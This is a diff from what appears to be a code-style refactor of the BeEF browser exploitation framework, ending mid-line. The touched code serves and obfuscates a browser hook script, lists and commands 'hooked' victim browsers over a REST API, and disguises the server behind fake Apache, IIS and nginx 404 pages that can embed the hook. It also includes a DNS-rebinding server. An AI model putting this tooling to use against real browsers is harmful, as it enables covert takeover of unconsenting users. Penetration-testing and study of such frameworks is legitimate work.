+46,22 @@ def multi_stage_beefjs!(req_host) print_debug "Excluding #{ext_js_sub_file} from core files obfuscation list" # do not obfuscate the file ext_js_sub_file_path = beef_js_path + ext_js_sub_file - ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n") + ext_js_to_not_obfuscate << "#{File.read(ext_js_sub_file_path)}\n\n" else ext_js_sub_file_path = beef_js_path + ext_js_sub_file - ext_js_to_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n") + ext_js_to_obfuscate << "#{File.read(ext_js_sub_file_path)}\n\n" end else # Evasion is not enabled, do not obfuscate anything ext_js_sub_file_path = beef_js_path + ext_js_sub_file - ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n") + ext_js_to_not_obfuscate << "#{File.read(ext_js_sub_file_path)}\n\n" end end # @note construct the beef_js string from file(s) beef_js_sub_files.each do |beef_js_sub_file| beef_js_sub_file_path = beef_js_path + beef_js_sub_file - beef_js << (File.read(beef_js_sub_file_path) + "\n\n") + beef_js << "#{File.read(beef_js_sub_file_path)}\n\n" end # @note create the config for the hooked browser session @@ -74,7 +74,7 @@ def multi_stage_beefjs!(req_host) end if hook_session_config['beef_host'].eql? '0.0.0.0' hook_session_config['beef_host'] = req_host - hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host) + hook_session_config['beef_url'].sub!('0.0.0.0', req_host) end # @note set the XHR-polling timeout @@ -88,7 +88,7 @@ def multi_stage_beefjs!(req_host) if !hook_session_config['beef_public_port'].nil? && (hook_session_config['beef_port'] != hook_session_config['beef_public_port']) hook_session_config['beef_port'] = hook_session_config['beef_public_port'] hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port']) - hook_session_config['beef_url'].sub!(/http:/, 'https:') if hook_session_config['beef_public_port'] == '443' + hook_session_config['beef_url'].sub!('http:', 'https:') if hook_session_config['beef_public_port'] == '443' end # @note Set some WebSocket properties @@ -121,7 +121,7 @@ def multi_stage_beefjs!(req_host) def legacy_find_beefjs_component_path(component) component_path = component component_path.gsub!(/beef./, '') - component_path.gsub!(/\./, '/') + component_path.gsub!('.', '/') component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js" return false unless File.exist? component_path @@ -152,9 +152,9 @@ def legacy_build_missing_beefjs_components(beefjs_components) config = BeEF::Core::Configuration.instance if config.get('beef.extension.evasion.enable') evasion = BeEF::Extension::Evasion::Evasion.instance - @body << evasion.obfuscate(File.read(component_path) + "\n\n") + @body << evasion.obfuscate("#{File.read(component_path)}\n\n") else - @body << (File.read(component_path) + "\n\n") + @body << "#{File.read(component_path)}\n\n" end # @note finally we add the component to the list of components already generated so it does not get generated numerous times. diff --git a/core/main/models/execution.rb b/core/main/models/execution.rb index 3d4051f179..b96c519545 100644 --- a/core/main/models/execution.rb +++ b/core/main/models/execution.rb @@ -6,7 +6,7 @@ module BeEF module Core - module Models # @note Stored info about the execution of the ARE on hooked browsers. + module Models # @note Stored info about the execution of the ARE on hooked browsers. class Execution < BeEF::Core::Model end end diff --git a/core/main/models/legacybrowseruseragents.rb b/core/main/models/legacybrowseruseragents.rb index cc383fe76b..93ec563d42 100644 --- a/core/main/models/legacybrowseruseragents.rb +++ b/core/main/models/legacybrowseruseragents.rb @@ -9,15 +9,14 @@ module Models # # Objects stores known 'legacy' browser User Agents. # - # This table is used to determine if a hooked browser is a 'legacy' + # This table is used to determine if a hooked browser is a 'legacy' # browser. # # TODO: make it an actual table # module LegacyBrowserUserAgents def self.user_agents - [ - ] + [] end end end diff --git a/core/main/network_stack/assethandler.rb b/core/main/network_stack/assethandler.rb index a0ef71c573..109548c85e 100644 --- a/core/main/network_stack/assethandler.rb +++ b/core/main/network_stack/assethandler.rb @@ -32,7 +32,7 @@ def bind_redirect(target, path = nil) @allocations[url] = { 'target' => target } @http_server.mount(url, BeEF::Core::NetworkStack::Handlers::Redirector.new(target)) @http_server.remap - print_info 'Redirector to [' + target + '] bound to url [' + url + ']' + print_info "Redirector to [#{target}] bound to url [#{url}]" url rescue StandardError => e print_error "Failed to mount #{path} : #{e.message}" @@ -53,7 +53,7 @@ def bind_raw(status, header, body, path = nil, _count = -1) BeEF::Core::NetworkStack::Handlers::Raw.new(status, header, body) ) @http_server.remap - print_info 'Raw HTTP bound to url [' + url + ']' + print_info "Raw HTTP bound to url [#{url}]" url rescue StandardError => e print_error "Failed to mount #{path} : #{e.message}" @@ -218,8 +218,8 @@ def unbind_socket(name) # @param [Integer] length The amount of characters to be used when generating a random URL # @return [String] Generated URL def build_url(path, extension, length = 20) - url = path.nil? ? '/' + rand(36**length).to_s(36) : path - url += extension.nil? ? '' : '.' + extension + url = path.nil? ? "/#{rand(36**length).to_s(36)}" : path + url += extension.nil? ? '' : ".#{extension}" url end @@ -244,9 +244,6 @@ def check(url) false end - - @http_server - @allocations end end end diff --git a/core/main/network_stack/handlers/dynamicreconstruction.rb b/core/main/network_stack/handlers/dynamicreconstruction.rb index 039e8419ae..e1f1a08170 100644 --- a/core/main/network_stack/handlers/dynamicreconstruction.rb +++ b/core/main/network_stack/handlers/dynamicreconstruction.rb @@ -51,9 +51,9 @@ class DynamicReconstruction < BeEF::Core::Router::Router def check_packets checked = [] PQ.each do |packet| - next if checked.include?(packet[:beefhook] + ':' + String(packet[:stream_id])) + next if checked.include?("#{packet[:beefhook]}:#{String(packet[:stream_id])}") - checked << (packet[:beefhook] + ':' + String(packet[:stream_id])) + checked << "#{packet[:beefhook]}:#{String(packet[:stream_id])}" pc = 0 PQ.each do |p| pc += 1 if packet[:beefhook] == p[:beefhook] and packet[:stream_id] == p[:stream_id] @@ -72,14 +72,14 @@ def check_packets res['request'] = request session_key = BeEF::Core::Configuration.instance.get('beef.http.hook_session_name') res['beefsession'] = request.cookies[session_key] || - request.params[session_key] || - request.env[session_key] + request.params[session_key] || + request.env[session_key] execute(res) - rescue JSON::ParserError => e + rescue JSON::ParserError print_debug 'Network stack could not decode packet stream.' - print_debug 'Dumping Stream Data [base64]: ' + data - print_debug 'Dumping Stream Data: ' + b64 + print_debug "Dumping Stream Data [base64]: #{data}" + print_debug "Dumping Stream Data: #{b64}" end end end diff --git a/core/main/network_stack/handlers/raw.rb b/core/main/network_stack/handlers/raw.rb index b3183eabb6..efce0f232e 100644 --- a/core/main/network_stack/handlers/raw.rb +++ b/core/main/network_stack/handlers/raw.rb @@ -17,15 +17,11 @@ def initialize(status, header = {}, body = nil) def call(_env) # [@status, @header, @body] @response = Rack::Response.new( - body = @body, - status = @status, - header = @header + @body, + @status, + @header ) end - - @request - - @response end end end diff --git a/core/main/network_stack/handlers/redirector.rb b/core/main/network_stack/handlers/redirector.rb index 5265028f96..9fc02871b9 100644 --- a/core/main/network_stack/handlers/redirector.rb +++ b/core/main/network_stack/handlers/redirector.rb @@ -18,18 +18,14 @@ def initialize(target) def call(_env) @response = Rack::Response.new( - body = ['302 found'], - status = 302, - header = { + ['302 found'], + 302, + { 'Content-Type' => 'text', 'Location' => @target } ) end - - @request - - @response end end end diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index 31fed5b2c3..7425ef1382 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -101,7 +101,7 @@ def start_websocket_server(ws_options) unless msg_hash['cookie'].nil? print_debug('[WebSocket] Browser says hello! WebSocket is running') # insert new connection in activesocket - @@activeSocket[(msg_hash['cookie']).to_s] = ws + @@activeSocket[msg_hash['cookie'].to_s] = ws print_debug("[WebSocket] activeSocket content [#{@@activeSocket}]") hb_session = msg_hash['cookie'] diff --git a/core/main/rest/handlers/autorun_engine.rb b/core/main/rest/handlers/autorun_engine.rb index 24b73b02e7..6b7ad31bc2 100644 --- a/core/main/rest/handlers/autorun_engine.rb +++ b/core/main/rest/handlers/autorun_engine.rb @@ -73,6 +73,7 @@ class AutorunEngine < BeEF::Core::Router::Router rule_id = params[:rule_id] rule = BeEF::Core::Models::Rule.find(rule_id) raise InvalidParameterError, 'id' if rule.nil? + rule.destroy { 'success' => true }.to_json @@ -91,6 +92,7 @@ class AutorunEngine < BeEF::Core::Router::Router rule_id = params[:rule_id] rule = BeEF::Core::Models::Rule.find(rule_id) raise InvalidParameterError, 'id' if rule.nil? + data = JSON.parse request.body.read rloader = BeEF::Core::AutorunEngine::RuleLoader.instance rloader.update_rule_json(rule_id, data) @@ -111,7 +113,7 @@ class AutorunEngine < BeEF::Core::Router::Router get '/run/:rule_id' do rule_id = params[:rule_id] - online_hooks = BeEF::Core::Models::HookedBrowser.where('lastseen >= ?', (Time.new.to_i - 15)) + online_hooks = BeEF::Core::Models::HookedBrowser.where('lastseen >= ?', Time.new.to_i - 15) if online_hooks.nil? return { 'success' => false, 'error' => 'There are currently no hooked browsers online.' }.to_json diff --git a/core/main/rest/handlers/hookedbrowsers.rb b/core/main/rest/handlers/hookedbrowsers.rb index 0b504099a8..898984d7f8 100644 --- a/core/main/rest/handlers/hookedbrowsers.rb +++ b/core/main/rest/handlers/hookedbrowsers.rb @@ -25,14 +25,14 @@ class HookedBrowsers < BeEF::Core::Router::Router # get '/' do if config.get('beef.http.websocket.enable') == false - online_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.where('lastseen >= ?', (Time.new.to_i - 15))) - offline_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.where('lastseen <= ?', (Time.new.to_i - 15))) + online_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.where('lastseen >= ?', Time.new.to_i - 15)) + offline_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.where('lastseen <= ?', Time.new.to_i - 15)) # If we're using websockets use the designated threshold timeout to determine live, instead of hardcoded 15 # Why is it hardcoded 15? else timeout = config.get('beef.http.websocket.ws_poll_timeout') - online_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.where('lastseen >= ?', (Time.new.to_i - timeout))) - offline_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.where('lastseen <= ?', (Time.new.to_i - timeout))) + online_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.where('lastseen >= ?', Time.new.to_i - timeout)) + offline_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.where('lastseen <= ?', Time.new.to_i - timeout)) end output = { @@ -74,7 +74,7 @@ class HookedBrowsers < BeEF::Core::Router::Router xssraysdetails = BeEF::Core::Models::Xssraysdetail.where(hooked_browser_id: hb.id) xssraysdetails.destroy_all - rescue StandardError => e + rescue StandardError # @todo why is this error swallowed? # the xssraysscan module may not be enabled end diff --git a/core/main/rest/handlers/modules.rb b/core/main/rest/handlers/modules.rb index 3ae859419c..f8602add7c 100644 --- a/core/main/rest/handlers/modules.rb +++ b/core/main/rest/handlers/modules.rb @@ -145,7 +145,7 @@ class Modules < BeEF::Core::Router::Router options = [] data.each { |k, v| options.push({ 'name' => k, 'value' => v }) } exec_results = BeEF::Module.execute(modk, params[:session], options) - exec_results.nil? ? '{"success":"false"}' : '{"success":"true","command_id":"' + exec_results.to_s + '"}' + exec_results.nil? ? '{"success":"false"}' : "{\"success\":\"true\",\"command_id\":\"#{exec_results}\"}" rescue StandardError print_error "Invalid JSON input for module '#{params[:mod_id]}'" error 400 # Bad Request @@ -172,7 +172,7 @@ class Modules < BeEF::Core::Router::Router # curl example (alert module with custom text, 2 hooked browsers)): # # curl -H "Content-Type: application/json; charset=UTF-8" -d '{"mod_id":110,"mod_params":{"text":"mucci?"},"hb_ids":[1,2]}' - #-X POST http://127.0.0.1:3000/api/modules/multi_browser?token=2316d82702b83a293e2d46a0886a003a6be0a633 + # -X POST http://127.0.0.1:3000/api/modules/multi_browser?token=2316d82702b83a293e2d46a0886a003a6be0a633 # post '/multi_browser' do request.body.rewind diff --git a/core/main/router/router.rb b/core/main/router/router.rb index a91ea007ab..aa685cc1e2 100644 --- a/core/main/router/router.rb +++ b/core/main/router/router.rb @@ -186,8 +186,8 @@ def index_page "

\"[ \"[

" \ '' \ '' \ - '' \ - '
' \ + '
' \ + '
' \ '

About CentOS:

The Community ENTerprise Operating System (CentOS) is an Enterprise-class Linux Distribution derived from sources freely provided to the public by a prominent North American Enterprise Linux vendor. CentOS conforms fully with the upstream vendors redistribution policy and aims to be 100% binary compatible. (CentOS mainly changes packages to remove upstream vendor branding and artwork.) The CentOS Project is the organization that builds CentOS.

' \ '

For information on CentOS please visit the CentOS website.

' \ '

Note:

CentOS is an Operating System and it is used to power this website; however, the webserver is owned by the domain owner and not the CentOS Project. If you have issues with the content of this site, contact the owner of the domain, not the CentOS project.' \ @@ -235,12 +235,12 @@ def index_page "\n" \ "\n" \ "Welcome to nginx!\n" \ - "\n" \ "\n" \ "\n" \ @@ -269,61 +269,61 @@ def error_page_404 case config.get('beef.http.web_server_imitation.type') when 'apache' - return <<-EOF - - -404 Not Found - -

Not Found

-

The requested URL was not found on this server.

-
-
Apache/2.2.3 (CentOS)
-#{("" if config.get('beef.http.web_server_imitation.hook_404'))} - -EOF + <<~EOF + + + 404 Not Found + +

Not Found

+

The requested URL was not found on this server.

+
+
Apache/2.2.3 (CentOS)
+ #{"" if config.get('beef.http.web_server_imitation.hook_404')} + + EOF when 'iis' - return <<-EOF - -The page cannot be found - -
-

The page cannot be found

-The page you are looking for might have been removed, had its name changed, or is temporarily unavailable. -
-

Please try the following:

-
    -
  • Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.
  • -
  • If you reached this page by clicking a link, contact the Web site administrator to alert them that the link is incorrectly formatted.
  • -
  • Click the Back button to try another link.
  • -
-

HTTP Error 404 - File or directory not found.
Internet Information Services (IIS)

-
-

Technical Information (for support personnel)

-
    -
  • Go to Microsoft Product Support Services and perform a title search for the words HTTP and 404.
  • -
  • Open IIS Help, which is accessible in IIS Manager (inetmgr),and search for topics titled Web Site Setup, Common Administrative Tasks, and About Custom Error Messa -
-
-#{("" if config.get('beef.http.web_server_imitation.hook_404'))} - -EOF + <<~EOF + + The page cannot be found + +
+

The page cannot be found

+ The page you are looking for might have been removed, had its name changed, or is temporarily unavailable. +
+

Please try the following:

+
    +
  • Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.
  • +
  • If you reached this page by clicking a link, contact the Web site administrator to alert them that the link is incorrectly formatted.
  • +
  • Click the Back button to try another link.
  • +
+

HTTP Error 404 - File or directory not found.
Internet Information Services (IIS)

+
+

Technical Information (for support personnel)

+
    +
  • Go to Microsoft Product Support Services and perform a title search for the words HTTP and 404.
  • +
  • Open IIS Help, which is accessible in IIS Manager (inetmgr),and search for topics titled Web Site Setup, Common Administrative Tasks, and About Custom Error Messa +
+
+ #{"" if config.get('beef.http.web_server_imitation.hook_404')} + + EOF when 'nginx' - return <<-EOF - -404 Not Found - -

404 Not Found

-
nginx
-#{("" if config.get('beef.http.web_server_imitation.hook_404'))} - - -EOF + <<~EOF + + 404 Not Found + +

404 Not Found

+
nginx
+ #{"" if config.get('beef.http.web_server_imitation.hook_404')} + + + EOF else print_error 'Configuration error in beef.http.web_server_imitation.type!' print_more 'Supported values are: apache, iis, nginx.' diff --git a/core/main/server.rb b/core/main/server.rb index d71c7dce19..0ca8c5a351 100644 --- a/core/main/server.rb +++ b/core/main/server.rb @@ -12,6 +12,7 @@ module BeEF module Core class Server include Singleton + attr_reader :root_dir, :url, :configuration, :command_urls, :mounts, :semaphore def initialize @@ -20,7 +21,7 @@ def initialize @root_dir = File.expand_path('../../../', __dir__) @command_urls = {} @mounts = {} - @rack_app + @rack_app = nil @semaphore = Mutex.new end diff --git a/core/module.rb b/core/module.rb index a6b29fc950..c96552c30b 100644 --- a/core/module.rb +++ b/core/module.rb @@ -16,14 +16,14 @@ def self.is_present(mod) # @param [String] mod module key # @return [Boolean] if the module key is enabled in BeEF's configuration def self.is_enabled(mod) - (is_present(mod) && BeEF::Core::Configuration.instance.get("beef.module.#{mod}.enable") == true) + is_present(mod) && BeEF::Core::Configuration.instance.get("beef.module.#{mod}.enable") == true end # Checks to see if the module reports that it has loaded through the configuration # @param [String] mod module key # @return [Boolean] if the module key is loaded in BeEF's configuration def self.is_loaded(mod) - (is_enabled(mod) && BeEF::Core::Configuration.instance.get("beef.module.#{mod}.loaded") == true) + is_enabled(mod) && BeEF::Core::Configuration.instance.get("beef.module.#{mod}.loaded") == true end # Returns module class definition @@ -230,10 +230,12 @@ def self.support(mod, opts) if opts.key?('ver') if subv.key?('min_ver') break unless subv['min_ver'].is_a?(Integer) && opts['ver'].to_i >= subv['min_ver'] + rating += 1 end if subv.key?('max_ver') break unless (subv['max_ver'].is_a?(Integer) && opts['ver'].to_i <= subv['max_ver']) || subv['max_ver'] == 'latest' + rating += 1 end end @@ -303,10 +305,10 @@ def self.parse_targets(mod) target_config.each do |k, v| # Convert the key to a string if it's not already one k_str = k.to_s.upcase - + # Use the adjusted string key for the rest of the process next unless BeEF::Core::Constants::CommandModule.const_defined? "VERIFIED_#{k_str}" - + key = BeEF::Core::Constants::CommandModule.const_get "VERIFIED_#{k_str}" targets[key] = [] unless targets.key? key browser = nil diff --git a/core/ruby/print.rb b/core/ruby/print.rb index fbf932ac09..bab8b16763 100644 --- a/core/ruby/print.rb +++ b/core/ruby/print.rb @@ -7,14 +7,14 @@ # Function used to print errors to the console # @param [String] s String to be printed def print_error(s) - puts Time.now.localtime.strftime('[%k:%M:%S]') + '[!]' + ' ' + s.to_s + puts "#{Time.now.localtime.strftime('[%k:%M:%S]')}[!] #{s}" BeEF.logger.error s.to_s end # Function used to print information to the console # @param [String] s String to be printed def print_info(s) - puts Time.now.localtime.strftime('[%k:%M:%S]') + '[*]' + ' ' + s.to_s + puts "#{Time.now.localtime.strftime('[%k:%M:%S]')}[*] #{s}" BeEF.logger.info s.to_s end @@ -27,7 +27,7 @@ def print_status(s) # Function used to print warning information # @param [String] s String to be printed def print_warning(s) - puts Time.now.localtime.strftime('[%k:%M:%S]') + '[!]' + ' ' + s.to_s + puts "#{Time.now.localtime.strftime('[%k:%M:%S]')}[!] #{s}" BeEF.logger.warn s.to_s end @@ -38,14 +38,14 @@ def print_debug(s) config = BeEF::Core::Configuration.instance return unless config.get('beef.debug') || BeEF::Core::Console::CommandLine.parse[:verbose] - puts Time.now.localtime.strftime('[%k:%M:%S]') + '[>]' + ' ' + s.to_s + puts "#{Time.now.localtime.strftime('[%k:%M:%S]')}[>] #{s}" BeEF.logger.debug s.to_s end # Function used to print successes to the console # @param [String] s String to be printed def print_success(s) - puts Time.now.localtime.strftime('[%k:%M:%S]') + '[+]' + ' ' + s.to_s + puts "#{Time.now.localtime.strftime('[%k:%M:%S]')}[+] #{s}" BeEF.logger.info s.to_s end diff --git a/extensions/admin_ui/api/handler.rb b/extensions/admin_ui/api/handler.rb index c220af8ba0..c025bf24b1 100644 --- a/extensions/admin_ui/api/handler.rb +++ b/extensions/admin_ui/api/handler.rb @@ -46,7 +46,7 @@ def self.evaluate_and_minify(content, params) print_debug "[AdminUI] Minified #{evaluated.size} bytes to #{minified.size} bytes" - return minified + minified end def self.write_minified_js(name, content) @@ -100,7 +100,7 @@ def self.build_javascript_ui admin_ui_js = '' global_js.each do |file_name| - admin_ui_js << ("#{File.binread("#{File.dirname(__FILE__)}/../media/javascript/#{file_name}")}\n\n") + admin_ui_js << "#{File.binread("#{File.dirname(__FILE__)}/../media/javascript/#{file_name}")}\n\n" end config = BeEF::Core::Configuration.instance @@ -117,15 +117,17 @@ def self.build_javascript_ui web_ui_all = evaluate_and_minify(admin_ui_js, params) unless web_ui_all - raise StandardError, "[AdminUI] evaluate_and_minify JavaScript failed: web_ui_all JavaScript is empty" + raise StandardError, '[AdminUI] evaluate_and_minify JavaScript failed: web_ui_all JavaScript is empty' end + write_minified_js('web_ui_all.js', web_ui_all) auth_js_file = "#{File.binread("#{File.dirname(__FILE__)}/../media/javascript/ui/authentication.js")}\n\n" web_ui_auth = evaluate_and_minify(auth_js_file, params) unless web_ui_auth - raise StandardError, "[AdminUI] evaluate_and_minify JavaScript failed: web_ui_auth JavaScript is empty" + raise StandardError, '[AdminUI] evaluate_and_minify JavaScript failed: web_ui_auth JavaScript is empty' end + write_minified_js('web_ui_auth.js', web_ui_auth) rescue => e raise StandardError, "Building Admin UI JavaScript failed: #{e.message}" diff --git a/extensions/admin_ui/classes/httpcontroller.rb b/extensions/admin_ui/classes/httpcontroller.rb index 85bc91bc4f..8f1e3bdfd9 100644 --- a/extensions/admin_ui/classes/httpcontroller.rb +++ b/extensions/admin_ui/classes/httpcontroller.rb @@ -87,7 +87,7 @@ def run(request, response) return end - function = @paths[path] || @paths[path + '/'] # check hash for '' and '/' + function = @paths[path] || @paths["#{path}/"] # check hash for '' and '/' if function.nil? print_error "[Admin UI] Path does not exist: #{path}" return @@ -143,8 +143,6 @@ def base_path private - @eruby - # Unescapes a URL-encoded string. def unescape(s) s.tr('+', ' ').gsub(/%([\da-f]{2})/in) { [Regexp.last_match(1)].pack('H*') } diff --git a/extensions/admin_ui/classes/session.rb b/extensions/admin_ui/classes/session.rb index d54883313f..cd47fec10a 100644 --- a/extensions/admin_ui/classes/session.rb +++ b/extensions/admin_ui/classes/session.rb @@ -100,7 +100,6 @@ def valid_session?(request) request.cookies.each do |cookie| return true if (cookie[0].to_s.eql? session_cookie_name) and (cookie[1].eql? @id) end - request # not a valid session false diff --git a/extensions/admin_ui/controllers/modules/modules.rb b/extensions/admin_ui/controllers/modules/modules.rb index 36c863fe12..e11052461a 100644 --- a/extensions/admin_ui/controllers/modules/modules.rb +++ b/extensions/admin_ui/controllers/modules/modules.rb @@ -82,10 +82,9 @@ def set_command_module_status(mod) # @param category [Array] The category to add the leaf to # @param leaf [Hash] The leaf to add to the tree def update_command_module_tree_recurse(tree, category, leaf) - # get a single folder from the category array working_category = category.shift - + tree.each do |t| if t['text'].eql?(working_category) && category.count > 0 # We have deeper to go @@ -190,14 +189,13 @@ def retitle_recursive_tree(parent) retitle_recursive_tree([c]) if c.has_key?('cls') && c['cls'] == 'folder' end num_of_command_modules = command_module_branch['children'].length + num_of_subs - command_module_branch['text'] = command_module_branch['text'] + ' (' + num_of_command_modules.to_s + ')' + command_module_branch['text'] = "#{command_module_branch['text']} (#{num_of_command_modules})" end end # Returns the list of all command_modules for a TreePanel in the interface. def select_command_modules_tree blanktree = [] - tree = [] # Due to the sub-folder nesting, we use some really badly hacked together recursion # Note to the bored - if someone (anyone please) wants to refactor, I'll buy you cookies. -x @@ -242,7 +240,7 @@ def select_command_modules_tree sort_recursive_tree(tree) retitle_recursive_tree(tree) - + # return a JSON array of hashes @body = tree.to_json end @@ -254,7 +252,7 @@ def select_command_module print_error 'command_module_id is nil' return end - command_module = BeEF::Core::Models::CommandModule.find(command_module_id) + BeEF::Core::Models::CommandModule.find(command_module_id) key = BeEF::Module.get_key_by_database_id(command_module_id) payload_name = @params['payload_name'] || nil @@ -307,11 +305,11 @@ def select_command_module_commands C.where(command_module_id: command_module_id, hooked_browser_id: zombie_id).each do |command| commands.push({ - 'id' => i, - 'object_id' => command.id, - 'creationdate' => Time.at(command.creationdate.to_i).strftime('%Y-%m-%d %H:%M').to_s, - 'label' => command.label - }) + 'id' => i, + 'object_id' => command.id, + 'creationdate' => Time.at(command.creationdate.to_i).strftime('%Y-%m-%d %H:%M').to_s, + 'label' => command.label + }) i += 1 end diff --git a/extensions/admin_ui/handlers/ui.rb b/extensions/admin_ui/handlers/ui.rb index 208811a6cd..8dec343ae3 100644 --- a/extensions/admin_ui/handlers/ui.rb +++ b/extensions/admin_ui/handlers/ui.rb @@ -27,14 +27,11 @@ def call(env) controller.run(@request, @response) @response = Rack::Response.new( - body = [controller.body], - status = controller.status, - header = controller.headers + [controller.body], + controller.status, + controller.headers ) end - - @request - @response end end end diff --git a/extensions/customhook/handler.rb b/extensions/customhook/handler.rb index 7803da54bc..fa1638234f 100644 --- a/extensions/customhook/handler.rb +++ b/extensions/customhook/handler.rb @@ -9,14 +9,16 @@ module Customhook class Handler def call(env) @body = '' + # @note Object representing the HTTP request @request = Rack::Request.new(env) @params = @request.query_string - @response = Rack::Response.new(body = [], 200, header = {}) + # @note Object representing the HTTP response + @response = Rack::Response.new([], 200, {}) config = BeEF::Core::Configuration.instance eruby = Erubis::FastEruby.new(File.read("#{File.dirname(__FILE__)}/html/index.html")) config.get('beef.extension.customhook.hooks').each do |h| path = config.get("beef.extension.customhook.hooks.#{h.first}.path") - next unless path == (env['REQUEST_URI']).to_s + next unless path == env['REQUEST_URI'].to_s print_info "[Custom Hook] Handling request for custom hook mounted at '#{path}'" @body << eruby.evaluate({ @@ -27,9 +29,9 @@ def call(env) end @response = Rack::Response.new( - body = [@body], - status = 200, - header = { + [@body], + 200, + { 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Expires' => '0', @@ -39,12 +41,6 @@ def call(env) } ) end - - # @note Object representing the HTTP request - @request - - # @note Object representing the HTTP response - @response end end end diff --git a/extensions/demos/handler.rb b/extensions/demos/handler.rb index d52eb18fec..41fae2df8e 100644 --- a/extensions/demos/handler.rb +++ b/extensions/demos/handler.rb @@ -7,7 +7,7 @@ module BeEF module Extension module Demos class Handler < BeEF::Core::Router::Router - set :public_folder, File.expand_path(File.dirname(__FILE__)) + '/html/' + set :public_folder, "#{__dir__}/html/" end end end diff --git a/extensions/dns/api.rb b/extensions/dns/api.rb index f4e14551c2..936edd1d08 100644 --- a/extensions/dns/api.rb +++ b/extensions/dns/api.rb @@ -24,7 +24,7 @@ module NameserverHandler # # @param http_hook_server [BeEF::Core::Server] HTTP server instance def self.pre_http_start(_http_hook_server) - servers, interfaces, address, port, protocol, upstream_servers = get_dns_config # get the DNS configuration + servers, interfaces, = get_dns_config # get the DNS configuration # Start the DNS server dns = BeEF::Extension::Dns::Server.instance @@ -32,7 +32,7 @@ def self.pre_http_start(_http_hook_server) end def self.print_dns_info - servers, interfaces, address, port, protocol, upstream_servers = get_dns_config # get the DNS configuration + _, _, address, port, protocol, upstream_servers = get_dns_config # get the DNS configuration # Print the DNS server information print_info "DNS Server: #{address}:#{port} (#{protocol})" @@ -67,7 +67,7 @@ def self.get_dns_config end end - return servers, interfaces, address, port, protocol, upstream_servers + [servers, interfaces, address, port, protocol, upstream_servers] end # Mounts the handler for processing DNS RESTful API requests. diff --git a/extensions/dns/dns.rb b/extensions/dns/dns.rb index ccddb45130..b530f36ab8 100644 --- a/extensions/dns/dns.rb +++ b/extensions/dns/dns.rb @@ -14,7 +14,7 @@ class Server < Async::DNS::Server include Singleton def initialize - super() + super logger.level = Logger::ERROR @lock = Mutex.new @database = BeEF::Core::Models::Dns::Rule @@ -121,6 +121,7 @@ def run(options = {}) Thread.new do EventMachine.next_tick do next if @server_started # Check if the server was already started + upstream = options[:upstream] || nil listen = options[:listen] || nil @@ -152,7 +153,7 @@ def run(options = {}) def stop return unless @server_started # Check if the server was started - + # Logic to stop the Async::DNS server puts EventMachine.stop if EventMachine.reactor_running? @server_started = false # Reset the server started flag diff --git a/extensions/dns/model.rb b/extensions/dns/model.rb index 04633aa871..1bca9c5452 100644 --- a/extensions/dns/model.rb +++ b/extensions/dns/model.rb @@ -149,13 +149,7 @@ def format_callback(resource, response) minimum: response[6] } - format "t.respond!(Resolv::DNS::Name.create('%s'), " + - "Resolv::DNS::Name.create('%s'), " + - '%d, ' + - '%d, ' + - '%d, ' + - '%d, ' + - '%d)', + format "t.respond!(Resolv::DNS::Name.create('%s'), Resolv::DNS::Name.create('%s'), %d, %d, %d, %d, %d)", data elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex format 't.fail!(:%s)', response.to_sym @@ -201,7 +195,7 @@ class InvalidDnsResponseError < StandardError def initialize(message = nil) str = 'Failed to add DNS rule with invalid response for %s resource record', message message = format str, message unless message.nil? - super(message) + super end end diff --git a/extensions/dns/rest/dns.rb b/extensions/dns/rest/dns.rb index ac3f2a8313..bf5997a124 100644 --- a/extensions/dns/rest/dns.rb +++ b/extensions/dns/rest/dns.rb @@ -151,7 +151,7 @@ class InvalidParamError < StandardError def initialize(message = nil) str = 'Invalid "%s" parameter passed to /api/dns handler' message = format str, message unless message.nil? - super(message) + super end end end diff --git a/extensions/dns_rebinding/dns_rebinding.rb b/extensions/dns_rebinding/dns_rebinding.rb index ed6cf8cc1e..bf42c681f6 100644 --- a/extensions/dns_rebinding/dns_rebinding.rb +++ b/extensions/dns_rebinding/dns_rebinding.rb @@ -5,7 +5,7 @@ module DNSRebinding class Server @debug_mode = false def self.log(msg) - warn msg.to_s if @debug_mode + warn msg if @debug_mode end def self.run_server(address, port) @@ -17,7 +17,7 @@ def self.run_server(address, port) victim_ip = socket.peeraddr[2].to_s log "-------------------------------\n" - log '[Server] Incoming request from ' + victim_ip + "(Victim)\n" + log "[Server] Incoming request from #{victim_ip}(Victim)\n" response = File.read(File.expand_path('views/index.html', __dir__)) configuration = BeEF::Core::Configuration.instance @@ -29,10 +29,7 @@ def self.run_server(address, port) response.sub!('path_to_hookjs_template', hook_uri) start_string = socket.gets - socket.print "HTTP/1.1 200 OK\r\n" + - "Content-Type: text/html\r\n" + - "Content-Length: #{response.bytesize}\r\n" + - "Connection: close\r\n" + socket.print "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: #{response.bytesize}\r\nConnection: close\r\n" socket.print "\r\n" socket.print response socket.close @@ -81,7 +78,7 @@ def self.send_http_response(socket, response, heads = {}) end headers.to_a.each do |header, value| - socket.print header + ': ' + value + "\r\n" + socket.print "#{header}: #{value}\r\n" end socket.print "\r\n" @@ -115,7 +112,7 @@ def self.read_http_message(socket) def self.handle_victim(socket, http_message) log "[Victim]request from victim\n" - log http_message['start_string'].to_s + "\n" + log "#{http_message['start_string']}\n" if 